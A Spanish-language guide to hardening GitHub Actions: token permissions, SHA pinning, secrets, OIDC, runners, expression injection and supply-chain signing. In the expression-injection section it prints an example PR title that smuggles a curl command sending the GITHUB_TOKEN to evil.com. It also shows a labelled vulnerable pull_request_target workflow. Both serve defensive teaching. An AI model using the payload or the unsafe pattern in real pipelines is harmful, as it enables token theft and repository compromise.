Seguridad de GitHub Actions: La Guía Definitiva

GitHub Actions se ha convertido en la plataforma CI/CD más adoptada del mundo. Con más del 90 % de los repositorios de GitHub capaces de usarla de forma nativa, impulsa desde simples comprobaciones de linting hasta complejos despliegues multicloud. Pero esa ubicuidad la convierte en la superficie de ataque CI/CD más atacada del desarrollo de software moderno.

En 2024 y 2025, los atacantes comprometieron GitHub Actions populares (como tj-actions/changed-files y reviewdog), inyectaron código malicioso en miles de workflows de CI y exfiltraron secretos de organizaciones que daban por sentado que sus pipelines eran seguros. Los ataques a la cadena de suministro en CI/CD ya no son teóricos: son rutinarios.

Esta guía es una referencia completa y práctica para asegurar GitHub Actions desde cero. Tanto si eres un ingeniero de DevOps fortaleciendo workflows de producción, un arquitecto de seguridad definiendo políticas CI/CD o un desarrollador que quiere dejar de distribuir vulnerabilidades a través de su pipeline, este artículo cubre todo lo que necesitas saber, con enlaces a labs detallados y cheat sheets a lo largo del texto.

Comprender el modelo de seguridad de GitHub Actions

Antes de poder asegurar GitHub Actions, necesitas entender cómo funciona realmente su modelo de seguridad. GitHub Actions opera sobre un modelo de confianza construido en torno a tres pilares: los tokens de autenticación, los triggers de workflow y los entornos de ejecución.

El GITHUB_TOKEN

Cada ejecución de workflow recibe automáticamente un GITHUB_TOKEN: un token de corta duración acotado al repositorio donde se ejecuta el workflow. Este token es el mecanismo de autenticación principal para interactuar con la API de GitHub desde dentro de los workflows. Por defecto, el token tiene amplios permisos de lectura/escritura sobre el repositorio, incluida la capacidad de publicar código, gestionar issues y modificar paquetes.

La observación de seguridad crítica: los permisos por defecto del GITHUB_TOKEN son demasiado amplios para la mayoría de los workflows. Un workflow que solo necesita publicar un comentario en un PR no debería tener permiso para publicar código. Sin embargo, sin una configuración explícita, lo tiene.

Triggers de workflow

GitHub Actions admite decenas de triggers de eventos: push, pull_request, pull_request_target, workflow_dispatch, schedule, issue_comment y más. Cada trigger conlleva implicaciones de seguridad diferentes:

• pull_request — se ejecuta en el contexto del código del fork. El GITHUB_TOKEN es de solo lectura. Los secretos no están disponibles desde los forks. Es el trigger más seguro para contribuciones externas.
• pull_request_target — se ejecuta en el contexto del repositorio base. El GITHUB_TOKEN tiene acceso de escritura. Los secretos están disponibles. Es extremadamente peligroso si haces checkout del código head del PR.
• push — se ejecuta sobre el commit publicado. Acceso completo a secretos y tokens de escritura. Seguro solo para ramas confiables.
• workflow_dispatch — trigger manual. Útil para despliegues controlados, pero verifica los parámetros de entrada.
• schedule — se ejecuta según una programación cron contra la rama por defecto. Tiene acceso de escritura y secretos. Asegúrate de que los workflows programados no puedan ser modificados por PRs no confiables.

Environments y protección de despliegue

Los Environments de GitHub proporcionan una frontera de seguridad adicional. Puedes asociar reglas de protección a los environments: revisores obligatorios, temporizadores de espera, restricciones de rama y políticas de rama de despliegue. Los secretos pueden acotarse a environments específicos, garantizando que las credenciales de producción solo estén disponibles para los workflows que despliegan en producción.

Los environments son una de las funciones de seguridad más infrautilizadas de GitHub Actions. Si no los estás usando, te falta una capa de control crítica.

Permisos de workflow: el principio de mínimo privilegio

La mejora de seguridad más impactante que puedes aplicar a cualquier workflow de GitHub Actions es restringir los permisos del GITHUB_TOKEN. GitHub te permite establecer permisos en dos niveles: el workflow completo y los jobs individuales.

Establecer los permisos por defecto en solo lectura

A nivel de organización o repositorio, navega a Settings → Actions → General → Workflow permissions y selecciona «Read repository contents and packages permissions». Esto garantiza que cada workflow arranque con permisos mínimos y deba solicitar explícitamente cualquier cosa más allá del acceso de lectura.

En tus archivos de workflow, declara siempre los permisos de forma explícita en el nivel superior:

permissions:
  contents: read
  pull-requests: write  # Only if needed

Para los jobs que requieran permisos diferentes, decláralos a nivel de job. Los permisos a nivel de job sobrescriben los permisos a nivel de workflow para ese job concreto, ofreciendo un control aún más granular:

jobs:
  build:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm build

  deploy:
    permissions:
      contents: read
      id-token: write  # For OIDC
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4

Para una referencia completa sobre qué permisos se necesitan para las operaciones habituales, consulta nuestra Cheat Sheet de seguridad de GitHub Actions, que asigna cada tarea común a su conjunto mínimo de permisos requeridos.

Fijado (pinning) de actions: defensa contra los ataques a la cadena de suministro

Cada directiva uses: de tu workflow es una dependencia y, como cualquier dependencia, puede verse comprometida. El incidente de tj-actions/changed-files a principios de 2025 demostró exactamente qué ocurre cuando una action popular es secuestrada: el atacante modificó la action para exfiltrar el GITHUB_TOKEN y otros secretos de todos los repositorios que la referenciaban por tag.

Por qué los tags y las ramas no bastan

Cuando referencias una action como actions/checkout@v4, estás confiando en que el mantenedor de la action —y en cualquiera que comprometa su cuenta— no mueva ni modifique ese tag. Los tags en Git son mutables. Un atacante que obtenga acceso de escritura a un repositorio puede apuntar v4 a cualquier commit que elija.

Fijado por SHA

La solución es fijar las actions a su SHA de commit completo:

# Bad - mutable tag
- uses: actions/checkout@v4

# Good - immutable SHA pin with version comment
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

Las referencias fijadas por SHA son inmutables. Aunque el repositorio de la action se vea comprometido, el SHA apunta al código exacto que auditaste. El comentario final garantiza que las personas sigan pudiendo identificar la versión de un vistazo, y que herramientas como Dependabot puedan seguir proponiendo actualizaciones.

Automatizar las actualizaciones de pins con Dependabot

El fijado por SHA genera una carga de mantenimiento: necesitas actualizar los pins cuando se publican nuevas versiones. Dependabot resuelve esto. Añade una configuración .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Dependabot abrirá automáticamente PRs para actualizar tus actions fijadas por SHA a la versión más reciente, manteniendo la referencia SHA inmutable. Esto te da la seguridad del fijado con la comodidad de las actualizaciones automáticas.

Para un recorrido práctico sobre cómo implementar el fijado de actions, el fortalecimiento de permisos y las buenas prácticas de secretos en un workflow real, completa nuestro Lab: fortalecimiento de workflows de GitHub Actions — permisos, pinning y secretos.

Gestión de secretos

Los secretos en GitHub Actions existen en tres ámbitos: repositorio, environment y organización. Entender las diferencias y usar el ámbito adecuado es fundamental para la seguridad.

Secretos de repositorio

Disponibles para todos los workflows de un repositorio. Cualquier workflow desencadenado por un push o un pull_request (desde el mismo repo) puede acceder a ellos. No están disponibles para los workflows desencadenados por eventos pull_request procedentes de forks.

Secretos de environment

Acotados a un environment específico. Solo los jobs que referencian ese environment pueden acceder a sus secretos. Combinados con las reglas de protección del environment (revisores obligatorios, restricciones de rama), los secretos de environment ofrecen la protección de secretos nativa más fuerte de GitHub Actions.

Secretos de organización

Compartidos entre repositorios. Pueden restringirse a repositorios específicos o ponerse a disposición de todos. Útiles para credenciales compartidas como los tokens de container registry, pero aumentan el radio de impacto si se ven comprometidos.

Seguridad frente a forks y pull_request_target

La interacción entre forks, secretos y pull_request_target es una de las áreas más peligrosas de la seguridad de GitHub Actions. Esta es la regla clave:

Nunca hagas checkout del código head de un PR en un workflow pull_request_target ni lo ejecutes con acceso a secretos.

Este patrón —a veces llamado «pwn request»— permite a un atacante enviar un PR desde un fork que modifique el script de build, la suite de tests o cualquier otro código que se ejecute. Como pull_request_target se ejecuta con los secretos y el token de escritura del repositorio base, el código del atacante se ejecuta con acceso total a tus credenciales.

# DANGEROUS - Never do this
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!
      - run: npm test  # Runs attacker's code with your secrets

Si tienes que usar pull_request_target, haz checkout únicamente del código de la rama base, o utiliza un patrón de dos workflows en el que el primer workflow (desencadenado por pull_request) produzca artefactos, y el segundo (desencadenado por workflow_run) procese esos artefactos con permisos elevados.

OIDC y workload identity federation

Las credenciales de larga duración almacenadas como secretos de GitHub son una bomba de relojería. Si un secreto se exfiltra —mediante una action comprometida, una filtración en los logs o un PR malicioso—, el atacante tiene acceso persistente hasta que la credencial se rota manualmente. La solución es la workload identity federation basada en OIDC.

Cómo funciona OIDC en GitHub Actions

GitHub Actions puede emitir tokens OIDC que aseveran la identidad de una ejecución de workflow. Estos tokens contienen claims sobre el repositorio, la rama, el environment, el actor y el workflow. Los proveedores de nube (AWS, GCP, Azure) pueden configurarse para confiar en estos tokens e intercambiarlos por credenciales de corta duración.

El flujo funciona así:

1. Tu workflow solicita un token OIDC al endpoint de tokens de GitHub (requiere el permiso id-token: write).
2. El token se envía al endpoint STS/de intercambio de tokens de tu proveedor de nube.
3. El proveedor de nube valida la firma del token contra el documento de discovery OIDC de GitHub.
4. Si los claims del token coinciden con tu política de confianza (repo, rama y environment correctos), el proveedor emite credenciales de corta duración.
5. Tu workflow usa estas credenciales temporales, que caducan automáticamente.

Ejemplo: AWS con OIDC

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
      aws-region: us-east-1
      # No access keys needed!

Con OIDC, no hay credenciales estáticas que robar. Aunque un atacante exfiltre el token OIDC, caduca en minutos y está vinculado a claims específicos que limitan dónde puede usarse.

Para un análisis en profundidad de los conceptos detrás de la workload identity federation, lee nuestra guía sobre Credenciales de corta duración y workload identity federation para CI/CD. Para implementarla de forma práctica, sigue nuestro Lab: configuración de workload identity OIDC para GitHub Actions y AWS.

Seguridad de los runners: hospedados frente a autoalojados

El runner es donde realmente se ejecuta el código de tu workflow. Las propiedades de seguridad de tu runner determinan directamente el radio de impacto de cualquier compromiso del workflow.

Runners hospedados por GitHub

Los runners hospedados por GitHub son máquinas virtuales efímeras que se aprovisionan nuevas para cada job y se destruyen después. Esto proporciona un aislamiento sólido:

• Sin persistencia entre jobs: el malware no puede sobrevivir de una ejecución a otra.
• Sin movimiento lateral hacia otros workflows o repositorios.
• Imágenes base predecibles y fortalecidas, mantenidas por GitHub.

Para la mayoría de los workflows, los runners hospedados por GitHub son la opción más segura. El compromiso es una personalización limitada y, potencialmente, costes más altos para cargas de trabajo intensivas en cómputo.

Runners autoalojados: riesgos y mitigaciones

Los runners autoalojados se ejecutan en tu propia infraestructura. Ofrecen más control y pueden resultar más baratos a escala, pero introducen riesgos de seguridad significativos:

• Persistencia — si un runner no es efímero, un workflow comprometido puede plantar backdoors que afecten a ejecuciones futuras.
• Estado compartido — las credenciales, cachés y artefactos de jobs anteriores pueden quedar accesibles.
• Acceso de red — los runners autoalojados suelen tener acceso a redes internas, bases de datos y servicios que los runners hospedados por GitHub no pueden alcanzar.
• Explotación desde forks — si un repo público usa runners autoalojados y permite PRs desde forks, cualquiera puede ejecutar código arbitrario en tu infraestructura.

Runners efímeros con Actions Runner Controller (ARC)

El mejor enfoque para los runners autoalojados es hacerlos efímeros. Actions Runner Controller (ARC) se ejecuta sobre Kubernetes y aprovisiona un pod de runner nuevo para cada job. Cuando el job termina, el pod se destruye, igual que un runner hospedado por GitHub, pero en tu propia infraestructura.

Prácticas de seguridad clave con ARC:

• Usa el modo Kubernetes (containerMode) para un aislamiento máximo.
• Establece límites de recursos para prevenir el abuso de criptominería.
• Usa network policies para restringir el tráfico saliente de los pods de runner.
• Restringe los grupos de runners a repositorios específicos.
• Nunca asignes runners autoalojados a repositorios públicos a menos que sean totalmente efímeros.

Para una guía completa sobre la arquitectura de seguridad de los runners, consulta Cómo asegurar los runners de GitHub Actions. Para desplegar runners efímeros en la práctica, trabaja con nuestro Lab: runners autoalojados efímeros con Actions Runner Controller.

Seguridad de las actions de terceros

Cada action de terceros que referencias en un workflow es código que se ejecuta dentro de tu pipeline CI/CD con acceso a tu código fuente, tus secretos y tus credenciales de despliegue. Es esencial tratar las actions de terceros como cualquier otra dependencia de software.

Auditar las actions antes de usarlas

Antes de añadir cualquier action de terceros a tus workflows:

1. Revisa el código fuente — comprueba qué hace realmente la action. Busca llamadas de red, accesos a secretos y modificaciones de archivos.
2. Comprueba el mantenedor — ¿es un creador verificado? ¿Se mantiene activamente el repositorio? ¿Con qué rapidez se atienden los problemas de seguridad?
3. Examina los permisos que solicita — ¿una action de «etiquetar PRs» necesita contents: write? Eso es una señal de alarma.
4. Busca políticas de seguridad publicadas — ¿el repositorio de la action tiene un SECURITY.md? ¿Hay procesos de divulgación de vulnerabilidades?
5. Fija al SHA — fija siempre, incluso tras auditar. El código puede cambiar después de tu revisión.

Implementar allowlists de actions

A nivel de organización, GitHub te permite restringir qué actions pueden usarse. Navega a Organization Settings → Actions → General → Policies y configura una allowlist. Las opciones incluyen:

• Permitir solo actions creadas por GitHub.
• Permitir actions de creadores verificados más una allowlist específica.
• Permitir solo actions concretas por su referencia completa.

Para las empresas, la allowlist es un control crítico. Impide que los desarrolladores añadan a la ligera actions sin evaluar a los workflows y proporciona un proceso de aprobación centralizado para las nuevas dependencias de actions.

Para practicar la detección de comportamientos maliciosos en GitHub Actions mediante técnicas de análisis estático, completa nuestro Lab: detección de GitHub Actions maliciosas con análisis estático.

Inyección de expresiones

La inyección de expresiones es una de las vulnerabilidades más comunes y peligrosas en los workflows de GitHub Actions. Se produce cuando una entrada no confiable se interpola directamente en una expresión de workflow usando la sintaxis ${{ }}.

Cómo funciona la inyección de expresiones

Las expresiones de GitHub Actions se evalúan antes de que la shell las vea. Cuando escribes:

- run: echo "Hello ${{ github.event.pull_request.title }}"

La expresión se reemplaza por el título literal del PR antes de que se construya el comando de shell. Si un atacante crea un PR con el título:

"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "

El comando de shell resultante pasa a ser:

echo "Hello "; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""

El atacante ha inyectado comandos de shell arbitrarios en tu workflow.

Contextos vulnerables

Los siguientes valores de contexto de GitHub están controlados por el atacante y nunca deberían usarse directamente en bloques run::

• github.event.pull_request.title
• github.event.pull_request.body
• github.event.issue.title
• github.event.issue.body
• github.event.comment.body
• github.event.review.body
• github.event.head_commit.message
• github.head_ref (nombre de rama: controlado por el atacante en los forks)

La solución: variables de entorno

En lugar de interpolar expresiones en los bloques run:, pásalas a través de variables de entorno:

# Vulnerable
- run: echo "PR title: ${{ github.event.pull_request.title }}"

# Safe
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Cuando el valor se pasa a través de una variable de entorno, la shell lo trata como una cadena literal, no como código a ejecutar. Esto previene por completo la inyección.

Seguridad de la cadena de suministro: firma y procedencia

Asegurar tu pipeline CI/CD no consiste solo en proteger el propio pipeline: se trata de garantizar que los artefactos que produce tu pipeline sean dignos de confianza. La seguridad de la cadena de suministro para GitHub Actions abarca la firma de artefactos, la atestación de procedencia y la verificación.

Firma de artefactos con Cosign y Sigstore

Cosign, parte del proyecto Sigstore, permite la firma keyless de imágenes de contenedor y otros artefactos usando identidades OIDC. En GitHub Actions, esto significa que la identidad de tu workflow (repositorio, rama, workflow) se convierte en la identidad de firma: sin claves de firma estáticas que gestionar o proteger.

steps:
  - uses: sigstore/cosign-installer@v3
  - run: cosign sign --yes ${{ env.IMAGE_REF }}
    env:
      COSIGN_EXPERIMENTAL: 1

La firma resultante se almacena en un registro de transparencia (Rekor), lo que proporciona un registro auditable de que un workflow específico en un repositorio específico produjo un artefacto específico.

Procedencia SLSA

SLSA (Supply-chain Levels for Software Artifacts) proporciona un marco para garantizar la integridad de los builds. La action oficial de GitHub actions/attest-build-provenance genera atestaciones de procedencia SLSA que registran exactamente cómo se construyó un artefacto: el repo de origen, el commit, el builder y las instrucciones de build.

La procedencia SLSA responde a la pregunta: «¿Puedo demostrar que este artefacto se construyó a partir de este código fuente mediante este sistema CI/CD?». Para cualquier organización que se tome en serio la seguridad de la cadena de suministro, la atestación de procedencia debería formar parte de todo workflow de release.

Para adquirir experiencia práctica con la firma de contenedores usando Cosign en un pipeline CI/CD, consulta nuestro lab de firma con Cosign. Para implementar la generación y verificación de procedencia SLSA, trabaja con nuestro lab de procedencia SLSA.

Errores de configuración habituales: los 5 principales

Tras auditar cientos de workflows de GitHub Actions, estos son los cinco errores de configuración de seguridad más habituales que encontramos:

1. Falta del bloque de permisos

Los workflows sin un bloque permissions: explícito heredan los permisos por defecto del token del repositorio, que normalmente son de lectura/escritura para todo. Esto vulnera el mínimo privilegio y maximiza el radio de impacto de cualquier compromiso.

Solución: añade un bloque permissions: read-all a nivel superior o un bloque de permisos granular a cada archivo de workflow.

2. Actions de terceros sin fijar

Usar referencias por tag como @v4 o @main para actions de terceros te expone a ataques a la cadena de suministro. Si el repositorio de la action se ve comprometido, los atacantes pueden publicar código malicioso bajo el tag existente.

Solución: fija todas las actions de terceros a SHAs de commit completos. Usa Dependabot para gestionar las actualizaciones.

3. Inyección de expresiones en bloques run:

Interpolar directamente valores de contexto controlados por el atacante (títulos de PR, cuerpos de issues, nombres de rama) en pasos run: permite la ejecución de comandos arbitrarios.

Solución: pasa siempre los valores de contexto no confiables a través de variables de entorno.

4. Uso inseguro de pull_request_target

Hacer checkout y ejecutar código del head de un PR en un workflow pull_request_target concede al atacante acceso a los secretos del repositorio y permisos de escritura.

Solución: nunca hagas checkout de github.event.pull_request.head.sha en workflows pull_request_target. Usa en su lugar el patrón de dos workflows.

5. Credenciales de nube de larga duración como secretos

Almacenar claves de acceso de AWS, JSON de service account de GCP o secretos de cliente de Azure como secretos de repositorio o de organización crea una exposición persistente de credenciales. Si estos secretos se filtran, el atacante tiene acceso a largo plazo a tus recursos de nube.

Solución: sustituye las credenciales estáticas por workload identity federation con OIDC. Si no hay secretos que robar, no hay exposición de credenciales.

Checklist de implementación

Usa este checklist para fortalecer sistemáticamente tus workflows de GitHub Actions. Cada elemento se corresponde con una sección de esta guía:

• Permisos: establece los permisos por defecto del token de la organización/repo en solo lectura.
• Permisos: añade bloques permissions: explícitos a cada workflow y job.
• Pinning: fija todas las actions de terceros a SHAs de commit completos.
• Pinning: configura Dependabot para el ecosistema github-actions.
• Secretos: migra de los secretos de repositorio a secretos de environment con reglas de protección.
• Secretos: audita todos los workflows pull_request_target en busca de patrones de checkout inseguros.
• OIDC: sustituye las credenciales de nube estáticas por workload identity federation con OIDC.
• OIDC: configura filtros de claim de subject para restringir el alcance del token (repo, rama, environment).
• Runners: asegúrate de que los runners autoalojados sean efímeros (usa ARC o similar).
• Runners: nunca asignes runners autoalojados a repositorios públicos.
• Actions: implementa una allowlist de actions a nivel de organización.
• Actions: audita todas las actions de terceros antes de aprobarlas.
• Inyección: busca con grep ${{ en los bloques run: de todos los workflows y remedia los vectores de inyección.
• Cadena de suministro: implementa la firma de artefactos con Cosign/Sigstore.
• Cadena de suministro: genera procedencia SLSA para los artefactos de release.
• Linting: añade actionlint y zizmor a tu pipeline de CI para detectar problemas automáticamente.
• Environments: usa los Environments de GitHub con revisores obligatorios para los despliegues en producción.

Labs relacionados

La teoría solo llega hasta cierto punto. Aplica lo que has aprendido en estos labs prácticos:

• Lab: fortalecimiento de workflows de GitHub Actions — permisos, pinning y secretos — implementa permisos de mínimo privilegio, fijado por SHA y un manejo seguro de secretos en un workflow real.
• Lab: configuración de workload identity OIDC para GitHub Actions y AWS — configura la autenticación keyless entre GitHub Actions y AWS mediante federación OIDC.
• Lab: runners autoalojados efímeros con Actions Runner Controller — despliega ARC sobre Kubernetes para ejecutar runners CI/CD seguros y efímeros.
• Lab: detección de GitHub Actions maliciosas con análisis estático — usa herramientas de análisis estático para identificar patrones sospechosos y comportamientos maliciosos en actions de terceros.
• Cheat Sheet de seguridad de GitHub Actions — referencia rápida de permisos mínimos, patrones seguros y errores habituales.

Herramientas para la seguridad de GitHub Actions

Automatiza la aplicación de la seguridad con estas herramientas esenciales:

actionlint

actionlint es una herramienta de análisis estático para los archivos de workflow de GitHub Actions. Detecta errores de sintaxis, discordancias de tipos, comandos de shell inválidos y problemas de seguridad como la inyección de expresiones. Ejecútala en local y en CI para detectar problemas antes de que lleguen a producción:

# Install and run
brew install actionlint
actionlint .github/workflows/*.yml

zizmor

zizmor es un linter de seguridad dedicado a GitHub Actions. A diferencia de los linters de propósito general, zizmor se centra específicamente en los problemas de seguridad: inyección de expresiones, actions sin fijar, permisos demasiado amplios, triggers peligrosos y más. Produce hallazgos accionables con calificaciones de severidad y orientación para la remediación:

# Install and run
pip install zizmor
zizmor .github/workflows/

Ambas herramientas deberían formar parte de tu pipeline de CI. Ejecútalas en cada PR que modifique archivos de workflow. Combinadas, detectan la gran mayoría de los problemas de seguridad habituales de GitHub Actions antes de que se fusionen (merge).

Conclusión

La seguridad de GitHub Actions no es un único interruptor de configuración: es una defensa por capas que abarca permisos, dependencias, secretos, identidad, infraestructura e integridad de la cadena de suministro. Los ataques contra los pipelines CI/CD aumentan en frecuencia y sofisticación, y las organizaciones que traten la seguridad del pipeline como algo secundario serán las que acaben haciendo divulgaciones de brechas.

La buena noticia es que cada mitigación de esta guía es accionable hoy mismo. Puedes establecer los permisos en solo lectura en cinco minutos. Puedes habilitar Dependabot para el fijado de actions en un solo commit. Puedes migrar de las credenciales estáticas a OIDC en una tarde. Y puedes desplegar runners efímeros antes de que acabe la semana.

Empieza por el checklist de implementación de arriba. Trabaja con los labs. Ejecuta actionlint y zizmor sobre tus workflows existentes y corrige lo que detecten. Cada paso de fortalecimiento que des eleva el coste para los atacantes y reduce tu riesgo.

Tu pipeline CI/CD es un sistema de producción. Asegúralo como tal.